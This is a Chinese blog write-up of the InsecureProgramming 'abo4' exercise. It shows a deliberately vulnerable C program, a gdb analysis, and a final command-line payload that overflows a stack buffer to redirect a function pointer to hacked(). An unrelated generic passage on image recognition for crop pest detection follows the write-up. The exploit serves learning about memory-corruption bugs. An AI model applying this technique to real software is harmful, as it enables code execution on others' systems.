InsecureProgramming-master——abo4

一、实验说明

1、实验环境:

Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04

Codename: xenial

2、实验工具:

gdb

3、源码

首先看看abo4的源码:

/* abo4.c                                                    *
 * specially crafted to feed your brain by gera@core-sdi.com */


/* After this one, the next is just an Eureka! away          */


int hacked(void)
{
    printf("Congratulation! You have successed!\n");
    return 0;
}
extern system,puts; 
void (*fn)(char*)=(void(*)(char*))&system;


int main(int argv,char **argc) {
	char *pbuf=malloc(strlen(argc[2])+1);
	char buf[256];


	fn=(void(*)(char*))&puts;
	strcpy(buf,argc[1]);
	strcpy(pbuf,argc[2]);
	fn(argc[3]);
	while(1);
}

4、实验目的

    构造字符串,实现栈溢出,从而执行函数hacked()。

5、编译:


二、分析汇编

    在后半部分的汇编代码中,出现了三处函数调用。

    在地址0x8048561处,程序将数据段0x804a028处的值赋值给eax,再在3处,通过call指令,跳转到相应地址继续执行。

    查看0x804a028处的值,由于程序还未运行,因此该地址处还未赋值,但猜想可能会存储fn()函数的地址,等调试程序时再去验证猜想。

三、调试

    1、设置断点并输入字符串开始运行程序。

    2、使用c指令直接运行到第二个断点处,eax中存储了buf的地址,为0xffffce9c。


    3、使用c指令直接运行到第三个断点处,ebp=0xffffcfa8,pbuf的地址为[ebp-0xc]=0x804b008。


    4、单步运行,此时1和2两处的strcpy都已完成复制操作。


    5、继续单步调试,发现在数据段0x804a028处确实存有fn()的函数地址,即0x8048390,证明了我们最初的猜想。


四、构造字符串

    首先,通过1处的strcpy()制造溢出,将pbuf的地址修改为0x804a028;

    然后,通过2处的strcpy(),将hacked()的地址复制到0x804a028,替换掉原来fn()的地址,用以完成跳转。


buf:‘c’*256+0x804a028

pbuf: 0x80484cb(hacked()的地址)

r $(python -c "print('c'*256+'\x28\xa0\x04\x08')") $(python -c "print('\xcb\x84\x04\x08')") alwin_cx



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
图像识别技术在病虫害检测中的应用是一个快速发展的领域,它结合了计算机视觉和机器学习算法来自动识别和分类植物上的病虫害。以下是这一技术的一些关键步骤和组成部分: 1. **数据收集**:首先需要收集大量的植物图像数据,这些数据包括健康植物的图像以及受不同病虫害影响的植物图像。 2. **图像预处理**:对收集到的图像进行处理,以提高后续分析的准确性。这可能包括调整亮度、对比度、去噪、裁剪、缩放等。 3. **特征提取**:从图像中提取有助于识别病虫害的特征。这些特征可能包括颜色、纹理、形状、边缘等。 4. **模型训练**:使用机器学习算法(如支持向量机、随机森林、卷积神经网络等)来训练模型。训练过程中,算法会学习如何根据提取的特征来识别不同的病虫害。 5. **模型验证和测试**:在独立的测试集上验证模型的性能,以确保其准确性和泛化能力。 6. **部署和应用**:将训练好的模型部署到实际的病虫害检测系统中,可以是移动应用、网页服务或集成到智能农业设备中。 7. **实时监测**:在实际应用中,系统可以实时接收植物图像,并快速给出病虫害的检测结果。 8. **持续学习**:随着时间的推移,系统可以不断学习新的病虫害样本,以提高其识别能力。 9. **用户界面**:为了方便用户使用,通常会有一个用户友好的界面,显示检测结果,并提供进一步的指导或建议。 这项技术的优势在于它可以快速、准确地识别出病虫害,甚至在早期阶段就能发现问题,从而及时采取措施。此外,它还可以减少对化学农药的依赖,支持可持续农业发展。随着技术的不断进步,图像识别在病虫害检测中的应用将越来越广泛。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值